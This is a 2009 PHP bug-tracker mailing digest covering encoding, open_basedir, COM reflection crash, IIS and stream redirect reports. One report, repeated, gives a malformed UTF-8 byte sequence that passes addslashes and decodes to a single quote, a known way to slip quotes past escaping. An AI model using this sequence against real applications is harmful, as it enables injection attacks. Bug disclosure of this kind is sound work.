This function decodes data , assumed to be UTF-8 encoded, to
ISO-8859-
1.



[2009-05-11 02:41:26] root at 80sec dot com

Description:

xml_utf8_decode function incorrectly decode.

Reproduce code:
---
?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode($ill);
echo htmlspecialchars ($ill,ENT_QUOTES,utf-8 );
?

Expected result:

it will output a ' incorrectly.

Actual result:
--
it will output a ' incorrectly.





-- 
Edit this bug report at http://bugs.php.net/?id=48230edit=1



#47945 [Bgs]: tightened open_basedir setting persists between requests

2009-05-11 Thread elapouya at gmail dot com
 ID:   47945
 User updated by:  elapouya at gmail dot com
 Reported By:  elapouya at gmail dot com
 Status:   Bogus
 Bug Type: Safe Mode/open_basedir
 Operating System: Ubuntu 8.10
 PHP Version:  5.3.0RC1
 New Comment:

The bug still exists in 5.3.0RC2 :

The ini_set(open_basedir,xxx) does not work if you load the same page
twice


Previous Comments:


[2009-04-11 06:26:17] elapouya at gmail dot com

Yes it looks like the same root cause.

But in my case, I was not thighten/untighten open_basedir.

I was just *setting* open_basedir at runtime (open_basedir is blank in
php.ini and httpd.conf)

I made another test by putting open_basedir = /var/www in php.ini and
use the same open_basedir.php as in my example to only tighten
open_basedir : the effect is the same : First time is OK, but if you
reload the page quickly,the same error occurs :

I think that the path stored internally for open_basedir is not the
good one (look at the weird chars into the path in the error message for
open_basedir)



[2009-04-10 17:46:11] j...@php.net

See also bug #46934 of which this is duplicate - bogus. 



[2009-04-10 15:02:06] elapouya at gmail dot com

It is a new feature for 5.3 : One can now set open_basedir at runtime
(not only in php.ini / php_value as a per dir basis).

So, to answer you, 5.2.9 in not relevant.



[2009-04-10 12:27:14] j...@php.net

Does this happen with PHP 5.2.9 ?



[2009-04-10 09:02:09] elapouya at gmail dot com

Description:

If you put an 

ini_set(open_basedir,/var/www/mydir); 

in your code,

the first time it will work, put if you reload the page quickly, you
will get a open_basedir restriction in effect on a jammed directory !

If I wait 1 minute, it works again for the first time and no more the
next times : looks like a cache problem.

I do not have APC, xdebug etc...

Nothing in php.ini except the error_reporting turned to On.

the configure :

'./configure' '--with-apxs2=/usr/bin/apxs2' '--disable-short-tags'
'--with-openssl' '--with-zlib' '--enable-bcmath' '--with-bz2=/bin/bzip2'
'--enable-calendar' '--with-curl' '--with-curlwrappers' '--enable-exif'
'--enable-ftp' '--with-gd' '--with-jpeg-dir=/usr/lib'
'--with-png-dir=/usr/lib' '--with-xpm-dir=/usr/lib' '--with-ttf'
'--with-t1lib' '--enable-gd-native-ttf' '--enable-gd-jis-conv'
'--with-gettext' '--with-imap' '--with-imap-ssl' '--with-ldap'
'--with-ldap-sasl' '--enable-mbstring' '--with-mcrypt' '--with-mhash'
'--with-ming' '--with-mysql=mysqlnd' '--with-mysqli=mysqlnd'
'--with-ncurses' '--with-pdo-mysql' '--with-pspell' '--with-readline'
'--with-snmp' '--enable-soap' '--enable-sockets' '--without-sqlite'
'--enable-sqlite-utf8' '--with-tidy' '--enable-wddx' '--with-xmlrpc'
'--with-xsl' '--enable-zip' '--with-pear' '--with-kerberos'

Note : I use PHP as a Apache module

Reproduce code:
---
In /var/www/elapouya, I create the file open_basedir.php :

?php
ini_set(open_basedir,/var/www/elapouya);
?



Expected result:

no error

Actual result:
--
First time : No error,

Next times :

Warning: Unknown: open_basedir restriction in effect.
File(/var/www/elapouya/open_basedir.php) is not within the allowed
path(s): (ä£Â¸/www/elapouya) in Unknown on line 0

Warning: Unknown: failed to open stream: Operation not permitted in
Unknown on line 0

Fatal error: Unknown: Failed opening required
'/var/www/elapouya/open_basedir.php'
(include_path='.:/usr/local/lib/php') in Unknown on line 0








-- 
Edit this bug report at http://bugs.php.net/?id=47945edit=1



#48230 [Bgs]: xml_utf8_decode incorrectly decode

2009-05-11 Thread derick
 ID:   48230
 Updated by:   der...@php.net
 Reported By:  root at 80sec dot com
 Status:   Bogus
 Bug Type: XML related
 Operating System: Linux/win
 PHP Version:  5.2.9
 New Comment:

We know it is not, but the function only works on proper UTF-8 like is
documented. So there is no bug here, the bug is on your code calling
this function. You can't require functions to work like they're not
meant to work—but that's what you're asking here.


Previous Comments:


[2009-05-11 12:24:53] root at 80sec dot com

chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7)

is not a valid utf8 data.



[2009-05-11 09:27:12] j...@php.net

RTFM:
This function decodes data , assumed to be UTF-8 encoded, to
ISO-8859-
1.



[2009-05-11 02:41:26] root at 80sec dot com

Description:

xml_utf8_decode function incorrectly decode.

Reproduce code:
---
?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode($ill);
echo htmlspecialchars ($ill,ENT_QUOTES,utf-8 );
?

Expected result:

it will output a ' incorrectly.

Actual result:
--
it will output a ' incorrectly.





-- 
Edit this bug report at http://bugs.php.net/?id=48230edit=1



#45280 [Fbk-Opn]: Reflection of instantiated COM classes causes PHP to crash.

2009-05-11 Thread RQuadling at GMail dot com
 ID:   45280
 User updated by:  RQuadling at GMail dot com
 Reported By:  RQuadling at GMail dot com
-Status:   Feedback
+Status:   Open
 Bug Type: COM related
 Operating System: Windows XP SP2
 PHP Version:  5.3CVS-2008-06-16 (snap)
 New Comment:

Report for
php__PID__4828__Date__05_11_2009__Time_02_03_29PM__999__Second_Chance_Exception_C005.dmp
Type of Analysis Performed   Crash Analysis 
Machine Name   RICHARDQUADLING 
Operating System   Windows XP Service Pack 3 
Number Of Processors   2 
Process ID   4828 
Process Image   C:\PHP5\php.exe 
System Up-Time   4 day(s) 01:37:48 
Process Up-Time   00:00:03 


Thread 0 - System ID 5216
Entry point   php!mainCRTStartup 
Create time   11/05/2009 14:03:27 
Time spent in user mode   0 Days 0:0:0.62 
Time spent in kernel mode   0 Days 0:0:0.93 






Function Arg 1 Arg 2 Arg 3   Source 
php5!zend_hash_internal_pointer_reset_ex+c  00c0e8dc   
 0b18   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_hash.c @ 1059 + 4 
php5!zm_info_reflection+700 00c0e938 015209b0 0139ebf0  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 538 
php5!zim_reflection_class___toString+9a  0139fea8
00c0ea3c   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 3194

php5!zend_call_function+6fa  00c0e978 0024  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_execute_api.c @ 958 + 16 
php5!call_user_function_ex+65  00c0ea40 00c0ea44  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_execute_api.c @ 735 
php5!zim_reflection_export+70 0002 0139ff08 00c0eb04  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 1421
+ 27 
php5!zend_call_function+6fa 0030 00c0ea88 013ad4a8  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_execute_api.c @ 958 + 16 
php5!zend_reflection_class_factory+9b2 013a0280 0001
1002263f   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 1380
+ 5f 
php5!zim_reflection_object_export+1a 0001 013a0280
   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 4240
+ 1a 
php5!execute+c9f 013d0070 10021b4e 00c0ec28   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_vm_execute.h @ 313 + 40 
php5!execute+101c 00c0ec28 00c0fed4 00c0fcbc   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_vm_execute.h @ 423 
php5!execute+1ae 0139d0d8 00c0fed4    d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_vm_execute.h @ 104 + 8 
php5!zend_execute_scripts+be 0008  0003  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend.c @ 1188 + d 
php5!php_execute_script+1c8 00c0fed4 0040642c 0001  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\main\main.c @ 2182 + 10 
php!main+a9a 0001 011530c0 01153330   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\sapi\cli\php_cli.c @ 1189 
php!memcpy+160 001520b8 00180018 7ffde000  
f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 
586 + 17 
kernel32!BaseProcessStart+23 00402dda     





PHP5!ZEND_HASH_INTERNAL_POINTER_RESET_EX+CIn 
php__PID__4828__Date__05_11_2009__Time_02_03_29PM__999__Second_Chance_Exception_C005.dmp
the assembly 
instruction at php5!zend_hash_internal_pointer_reset_ex+c in
C:\PHP5\php5.dll from The PHP Group has 
caused an access violation exception (0xC005) when trying to read
from memory location 0x0014 on 
thread 0

Module Information 
Image Name: C:\PHP5\php5.dll   Symbol Type:  PDB 
Base address: 0x1000   Time Stamp:  Mon May 11 12:57:20 2009  
Checksum: 0x0055b027   Comments:   
COM DLL: False   Company Name:  The PHP Group 
ISAPIExtension: False   File Description:  PHP Script Interpreter 
ISAPIFilter: False   File Version:  5.3.0RC3-dev 
Managed DLL: False   Internal Name:  PHP Script Interpreter 
VB DLL: False   Legal Copyright:  Copyright © 1997-2008 The PHP Group

Loaded Image Name:  php5.dll   Legal Trademarks:  PHP 
Mapped Image Name: Original filename:  php5.dll 
Module name:  php5   Private Build:   
Single Threaded:  False   Product Name:  PHP 
Module Size:  5.44 MBytes   Product Version:  5.3.0RC3-dev 
Symbol File Name:  C:\PHP5\debug\php5.pdb   Special Build:  


Previous Comments:


[2009-05-10 13:03:11] bj...@php.net

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP 

#45280 [Opn]: Reflection of instantiated COM classes causes PHP to crash.

2009-05-11 Thread RQuadling at GMail dot com
 ID:   45280
 User updated by:  RQuadling at GMail dot com
 Reported By:  RQuadling at GMail dot com
 Status:   Open
 Bug Type: COM related
 Operating System: Windows XP SP2
 PHP Version:  5.3CVS-2008-06-16 (snap)
 New Comment:

Thread 0 - System ID 5216
Entry point   php!mainCRTStartup 
Create time   11/05/2009 14:03:27 
Time spent in user mode   0 Days 0:0:0.62 
Time spent in kernel mode   0 Days 0:0:0.93 

Function Arg 1 Arg 2 Arg 3   Source 
php5!zend_hash_internal_pointer_reset_ex+c  00c0e8dc   
 
0b18
php5!zm_info_reflection+700 00c0e938 015209b0 0139ebf0
php5!zim_reflection_class___toString+9a  0139fea8 
00c0ea3c
php5!zend_call_function+6fa  00c0e978 0024
php5!call_user_function_ex+65  00c0ea40 00c0ea44   

php5!zim_reflection_export+70 0002 0139ff08 00c0eb04   

php5!zend_call_function+6fa 0030 00c0ea88 013ad4a8
php5!zend_reflection_class_factory+9b2 013a0280 0001 
1002263f
php5!zim_reflection_object_export+1a 0001 013a0280 

php5!execute+c9f 013d0070 10021b4e 00c0ec28
php5!execute+101c 00c0ec28 00c0fed4 00c0fcbc
php5!execute+1ae 0139d0d8 00c0fed4 
php5!zend_execute_scripts+be 0008  0003   

php5!php_execute_script+1c8 00c0fed4 0040642c 0001
php!main+a9a 0001 011530c0 01153330
php!memcpy+160 001520b8 00180018 7ffde000
kernel32!BaseProcessStart+23 00402dda     


PHP5!ZEND_HASH_INTERNAL_POINTER_RESET_EX+CIn 
php__PID__4828__Date__05_11_2009__Time_02_03_29PM__999__Second_Chance
_Exception_C005.dmp the assembly instruction at 
php5!zend_hash_internal_pointer_reset_ex+c in C:\PHP5\php5.dll from 
The PHP Group has caused an access violation exception (0xC005) 
when trying to read from memory location 0x0014 on thread 0

Module Information 
Image Name: C:\PHP5\php5.dll   Symbol Type:  PDB 
Base address: 0x1000   Time Stamp:  Mon May 11 12:57:20 2009  
Checksum: 0x0055b027   Comments:   
COM DLL: False   Company Name:  The PHP Group 
ISAPIExtension: False   File Description:  PHP Script Interpreter 
ISAPIFilter: False   File Version:  5.3.0RC3-dev 
Managed DLL: False   Internal Name:  PHP Script Interpreter 
VB DLL: False   Legal Copyright:  Copyright © 1997-2008 The PHP Group

Loaded Image Name:  php5.dll   Legal Trademarks:  PHP 
Mapped Image Name: Original filename:  php5.dll 
Module name:  php5   Private Build:   
Single Threaded:  False   Product Name:  PHP 
Module Size:  5.44 MBytes   Product Version:  5.3.0RC3-dev 
Symbol File Name:  C:\PHP5\debug\php5.pdb   Special Build:  


Previous Comments:


[2009-05-11 13:09:38] RQuadling at GMail dot com

Report for
php__PID__4828__Date__05_11_2009__Time_02_03_29PM__999__Second_Chance_Exception_C005.dmp
Type of Analysis Performed   Crash Analysis 
Machine Name   RICHARDQUADLING 
Operating System   Windows XP Service Pack 3 
Number Of Processors   2 
Process ID   4828 
Process Image   C:\PHP5\php.exe 
System Up-Time   4 day(s) 01:37:48 
Process Up-Time   00:00:03 


Thread 0 - System ID 5216
Entry point   php!mainCRTStartup 
Create time   11/05/2009 14:03:27 
Time spent in user mode   0 Days 0:0:0.62 
Time spent in kernel mode   0 Days 0:0:0.93 






Function Arg 1 Arg 2 Arg 3   Source 
php5!zend_hash_internal_pointer_reset_ex+c  00c0e8dc   
 0b18   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_hash.c @ 1059 + 4 
php5!zm_info_reflection+700 00c0e938 015209b0 0139ebf0  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 538 
php5!zim_reflection_class___toString+9a  0139fea8
00c0ea3c   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 3194

php5!zend_call_function+6fa  00c0e978 0024  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_execute_api.c @ 958 + 16 
php5!call_user_function_ex+65  00c0ea40 00c0ea44  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_execute_api.c @ 735 
php5!zim_reflection_export+70 0002 0139ff08 00c0eb04  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 1421
+ 27 
php5!zend_call_function+6fa 0030 00c0ea88 013ad4a8  
d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\zend\zend_execute_api.c @ 958 + 16 
php5!zend_reflection_class_factory+9b2 013a0280 0001
1002263f   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 1380
+ 5f 
php5!zim_reflection_object_export+1a 0001 013a0280
   d:\php-
sdk\snap_5_3\vc9\x86\snap53_vc9\ext\reflection\php_reflection.c @ 4240
+ 1a 

#48233 [NEW]: The Page Cannot Be Displayed

2009-05-11 Thread ralphyz at gmail dot com
From: ralphyz at gmail dot com
Operating system: W2K3 SP2
PHP version:  5.2.9
PHP Bug Type: IIS related
Bug description:  The Page Cannot Be Displayed

Description:

I get The Page Cannot Be Displayed error message when there are 3 print
statements in a row which display the contents of an array (which only has
1 column, and 3 rows).  When I comment out any of the three print
statements, the page displays without a problem.  

I tested this code on Ubuntu - and it works without a problem.

Also commenting out any of the following three lines makes this work
without a problem:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

If I comment out any of those lines, but replace the IF statement with a
FOR statement to run through all my records ($num_rows = 31), I get the
same error (The Page Cannot Be Displayed).

The print statements with got here in them seem to have no negative
effect on the script.

Reproduce code:
---
?php

$DBHost = x.x.x.x;// IP-address of MySQL server
$DBLogin = username;  // Username of MySQL user
$DBPassword = password;   // Password of MySQL user
$DBDatabase = database;   // Name of database
$db_error = ;

$sql = select A, B, C from employee;

$data_set = get_data($sql);

$num_rows = mysql_num_rows($data_set);

if($num_rows  0)
{
 $row = mysql_fetch_array($data_set, MYSQL_NUM);

  $id = $row[0];
  $name = $row[1];
  $description = $row[2];

print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
}


function get_data($sql)
{
  global $DBHost, $DBLogin, $DBPassword, $DBDatabase, $db_error;

  if(!mysql_connect($DBHost, $DBLogin, $DBPassword))
  {
return $db_error;
  }
  else
  {
mysql_select_db($DBDatabase);
return mysql_query($sql);
  }
}
?

Expected result:

This should display:

  1
  John Smith
  Staff
  got heregot heregot heregot heregot heregot heregot heregot heregot
heregot here

Actual result:
--
 The page cannot be displayed 
There is a problem with the page you are trying to reach and it cannot be
displayed. 



Please try the following:

Open the x.x.x.x home page, and then look for links to the information you
want. 
Click the  Refresh button, or try again later.

Click  Search to look for information on the Internet. 
You can also see a list of related sites. 




HTTP 500 - Internal server error 
Internet Explorer  


-- 
Edit bug report at http://bugs.php.net/?id=48233edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=48233r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=48233r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=48233r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=48233r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=48233r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=48233r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=48233r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=48233r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=48233r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=48233r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=48233r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=48233r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=48233r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=48233r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=48233r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=48233r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=48233r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=48233r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=48233r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=48233r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=48233r=mysqlcfg



#48233 [Opn-Bgs]: The Page Cannot Be Displayed

2009-05-11 Thread johannes
 ID:   48233
 Updated by:   johan...@php.net
 Reported By:  ralphyz at gmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: IIS related
 Operating System: W2K3 SP2
 PHP Version:  5.2.9
 New Comment:

When using the mysqli extension together with the mysql extension
you have to use the same libraries and include files. mysqli
extension requires the location of mysql_config file, mysql
extension requires the path of your mysql installation.

If you installed MySQL 4.1 for example with prefix /usr/local/mysql-4.1
your configure settings should be
--with-mysql=/usr/local/mysql-4.1
--with-mysqli=/usr/local/mysql-4.1/bin/mysql_config

I case that is correct please check your log files for more verbose
error messages.


Previous Comments:


[2009-05-11 14:08:54] ralphyz at gmail dot com

Description:

I get The Page Cannot Be Displayed error message when there are 3
print statements in a row which display the contents of an array (which
only has 1 column, and 3 rows).  When I comment out any of the three
print statements, the page displays without a problem.  

I tested this code on Ubuntu - and it works without a problem.

Also commenting out any of the following three lines makes this work
without a problem:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

If I comment out any of those lines, but replace the IF statement
with a FOR statement to run through all my records ($num_rows = 31), I
get the same error (The Page Cannot Be Displayed).

The print statements with got here in them seem to have no negative
effect on the script.

Reproduce code:
---
?php

$DBHost = x.x.x.x;// IP-address of MySQL server
$DBLogin = username;  // Username of MySQL user
$DBPassword = password;   // Password of MySQL user
$DBDatabase = database;   // Name of database
$db_error = ;

$sql = select A, B, C from employee;

$data_set = get_data($sql);

$num_rows = mysql_num_rows($data_set);

if($num_rows  0)
{
 $row = mysql_fetch_array($data_set, MYSQL_NUM);

  $id = $row[0];
  $name = $row[1];
  $description = $row[2];

print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
}


function get_data($sql)
{
  global $DBHost, $DBLogin, $DBPassword, $DBDatabase, $db_error;

  if(!mysql_connect($DBHost, $DBLogin, $DBPassword))
  {
return $db_error;
  }
  else
  {
mysql_select_db($DBDatabase);
return mysql_query($sql);
  }
}
?

Expected result:

This should display:

  1
  John Smith
  Staff
  got heregot heregot heregot heregot heregot heregot heregot heregot
heregot here

Actual result:
--
 The page cannot be displayed 
There is a problem with the page you are trying to reach and it cannot
be displayed. 



Please try the following:

Open the x.x.x.x home page, and then look for links to the information
you want. 
Click the  Refresh button, or try again later.

Click  Search to look for information on the Internet. 
You can also see a list of related sites. 




HTTP 500 - Internal server error 
Internet Explorer  






-- 
Edit this bug report at http://bugs.php.net/?id=48233edit=1



#48233 [Bgs]: The Page Cannot Be Displayed

2009-05-11 Thread ralphyz at gmail dot com
 ID:   48233
 User updated by:  ralphyz at gmail dot com
 Reported By:  ralphyz at gmail dot com
 Status:   Bogus
 Bug Type: IIS related
 Operating System: W2K3 SP2
 PHP Version:  5.2.9
 New Comment:

There are no errors in the log file.  

The following lines:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

All work individually (two others are commented out), or in pairs (one
other is commented out).  I get the error when all three are active
(none of the three commented out).  

They also work if I do this:
print (id: $id BRname: $nameBRdescription: $description);

It just won't work if I have three separate lines.  No other code gives
me an error.


Previous Comments:


[2009-05-11 14:14:08] johan...@php.net

When using the mysqli extension together with the mysql extension
you have to use the same libraries and include files. mysqli
extension requires the location of mysql_config file, mysql
extension requires the path of your mysql installation.

If you installed MySQL 4.1 for example with prefix /usr/local/mysql-4.1
your configure settings should be
--with-mysql=/usr/local/mysql-4.1
--with-mysqli=/usr/local/mysql-4.1/bin/mysql_config

I case that is correct please check your log files for more verbose
error messages.



[2009-05-11 14:08:54] ralphyz at gmail dot com

Description:

I get The Page Cannot Be Displayed error message when there are 3
print statements in a row which display the contents of an array (which
only has 1 column, and 3 rows).  When I comment out any of the three
print statements, the page displays without a problem.  

I tested this code on Ubuntu - and it works without a problem.

Also commenting out any of the following three lines makes this work
without a problem:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

If I comment out any of those lines, but replace the IF statement
with a FOR statement to run through all my records ($num_rows = 31), I
get the same error (The Page Cannot Be Displayed).

The print statements with got here in them seem to have no negative
effect on the script.

Reproduce code:
---
?php

$DBHost = x.x.x.x;// IP-address of MySQL server
$DBLogin = username;  // Username of MySQL user
$DBPassword = password;   // Password of MySQL user
$DBDatabase = database;   // Name of database
$db_error = ;

$sql = select A, B, C from employee;

$data_set = get_data($sql);

$num_rows = mysql_num_rows($data_set);

if($num_rows  0)
{
 $row = mysql_fetch_array($data_set, MYSQL_NUM);

  $id = $row[0];
  $name = $row[1];
  $description = $row[2];

print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
}


function get_data($sql)
{
  global $DBHost, $DBLogin, $DBPassword, $DBDatabase, $db_error;

  if(!mysql_connect($DBHost, $DBLogin, $DBPassword))
  {
return $db_error;
  }
  else
  {
mysql_select_db($DBDatabase);
return mysql_query($sql);
  }
}
?

Expected result:

This should display:

  1
  John Smith
  Staff
  got heregot heregot heregot heregot heregot heregot heregot heregot
heregot here

Actual result:
--
 The page cannot be displayed 
There is a problem with the page you are trying to reach and it cannot
be displayed. 



Please try the following:

Open the x.x.x.x home page, and then look for links to the information
you want. 
Click the  Refresh button, or try again later.

Click  Search to look for information on the Internet. 
You can also see a list of related sites. 




HTTP 500 - Internal server error 
Internet Explorer  






-- 
Edit this bug report at http://bugs.php.net/?id=48233edit=1



#48233 [Bgs]: The Page Cannot Be Displayed

2009-05-11 Thread ralphyz at gmail dot com
 ID:   48233
 User updated by:  ralphyz at gmail dot com
 Reported By:  ralphyz at gmail dot com
 Status:   Bogus
 Bug Type: IIS related
 Operating System: W2K3 SP2
 PHP Version:  5.2.9
 New Comment:

When I access the same page from Firefox, I get an Access Violation
error - but again, only when all three lines are uncommented.


Previous Comments:


[2009-05-11 14:36:49] ralphyz at gmail dot com

There are no errors in the log file.  

The following lines:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

All work individually (two others are commented out), or in pairs (one
other is commented out).  I get the error when all three are active
(none of the three commented out).  

They also work if I do this:
print (id: $id BRname: $nameBRdescription: $description);

It just won't work if I have three separate lines.  No other code gives
me an error.



[2009-05-11 14:14:08] johan...@php.net

When using the mysqli extension together with the mysql extension
you have to use the same libraries and include files. mysqli
extension requires the location of mysql_config file, mysql
extension requires the path of your mysql installation.

If you installed MySQL 4.1 for example with prefix /usr/local/mysql-4.1
your configure settings should be
--with-mysql=/usr/local/mysql-4.1
--with-mysqli=/usr/local/mysql-4.1/bin/mysql_config

I case that is correct please check your log files for more verbose
error messages.



[2009-05-11 14:08:54] ralphyz at gmail dot com

Description:

I get The Page Cannot Be Displayed error message when there are 3
print statements in a row which display the contents of an array (which
only has 1 column, and 3 rows).  When I comment out any of the three
print statements, the page displays without a problem.  

I tested this code on Ubuntu - and it works without a problem.

Also commenting out any of the following three lines makes this work
without a problem:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

If I comment out any of those lines, but replace the IF statement
with a FOR statement to run through all my records ($num_rows = 31), I
get the same error (The Page Cannot Be Displayed).

The print statements with got here in them seem to have no negative
effect on the script.

Reproduce code:
---
?php

$DBHost = x.x.x.x;// IP-address of MySQL server
$DBLogin = username;  // Username of MySQL user
$DBPassword = password;   // Password of MySQL user
$DBDatabase = database;   // Name of database
$db_error = ;

$sql = select A, B, C from employee;

$data_set = get_data($sql);

$num_rows = mysql_num_rows($data_set);

if($num_rows  0)
{
 $row = mysql_fetch_array($data_set, MYSQL_NUM);

  $id = $row[0];
  $name = $row[1];
  $description = $row[2];

print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
}


function get_data($sql)
{
  global $DBHost, $DBLogin, $DBPassword, $DBDatabase, $db_error;

  if(!mysql_connect($DBHost, $DBLogin, $DBPassword))
  {
return $db_error;
  }
  else
  {
mysql_select_db($DBDatabase);
return mysql_query($sql);
  }
}
?

Expected result:

This should display:

  1
  John Smith
  Staff
  got heregot heregot heregot heregot heregot heregot heregot heregot
heregot here

Actual result:
--
 The page cannot be displayed 
There is a problem with the page you are trying to reach and it cannot
be displayed. 



Please try the following:

Open the x.x.x.x home page, and then look for links to the information
you want. 
Click the  Refresh button, or try again later.

Click  Search to look for information on the Internet. 
You can also see a list of related sites. 




HTTP 500 - Internal server error 
Internet Explorer  






-- 
Edit this bug report at http://bugs.php.net/?id=48233edit=1



#38802 [NoF-Opn]: 'max_redirects' context options doesn't work when value is 1

2009-05-11 Thread datibbaw
 ID:   38802
 Updated by:   datib...@php.net
-Reported By:  shen dot shenstone at gmail dot com
+Reported By:  datib...@php.net
-Status:   No Feedback
+Status:   Open
 Bug Type: HTTP related
-Operating System: Windows XP Pro SP2
+Operating System: Linux Gentoo
-PHP Version:  5.1.6
+PHP Version:  5.2.9
 New Comment:

There's a small gap of proper support here:
1) the get_headers() function would give the Location header (since it
uses STREAM_ONLY_GET_HEADERS) if the max_redirects is set to 1, but it
doesn't return a response body
2) the current fopen wrapper function only returns the headers (inside
the wrapper data) in the absence of a Location header

I was exploring to use php streams as an extension to the oauth project
so that the curl dependency could be made optional, but this would
require me to copy  paste a lot of logic from
php_stream_url_wrap_http_ex() =(


Previous Comments:


[2007-10-08 11:20:46] rele at gmx dot de

I get the same error if I just want to download the mirror selection
page:
file_put_contents('xampp-win32-1.6.4.exe.html',
file_get_contents('http://downloads.sourceforge.net/xampp/xampp-win32-1.6.4.exe?use_mirror=osdn',
FALSE, stream_context_create(array('http'=array('max_redirects'=1))),
0, 1));



[2006-09-21 01:00:00] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2006-09-13 12:54:46] tony2...@php.net

The first header is Location, this is pretty clear.
If you want to get the header itself you can use fsockopen().




[2006-09-13 12:44:51] shen dot shenstone at gmail dot com

i just want get first hrader and not let php automatic follow the
redirect.

i try again and it did not work.

;(

thanks



[2006-09-13 10:11:25] shen dot shenstone at gmail dot com

i see, no redirects followed, but it didn't fetch any info(headers)
from the first request.
it produce error Redirection limit reached, i just need the first
header.

thanks
sorry for poor english.;)



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/38802

-- 
Edit this bug report at http://bugs.php.net/?id=38802edit=1



#48233 [Bgs]: The Page Cannot Be Displayed

2009-05-11 Thread ralphyz at gmail dot com
 ID:   48233
 User updated by:  ralphyz at gmail dot com
 Reported By:  ralphyz at gmail dot com
 Status:   Bogus
 Bug Type: IIS related
 Operating System: W2K3 SP2
 PHP Version:  5.2.9
 New Comment:

Turning off Show friendly HTTP error messages in IE now gives me the
Access Violation error message instead of The page cannot be
displayed.


Previous Comments:


[2009-05-11 14:50:33] ralphyz at gmail dot com

When I access the same page from Firefox, I get an Access Violation
error - but again, only when all three lines are uncommented.



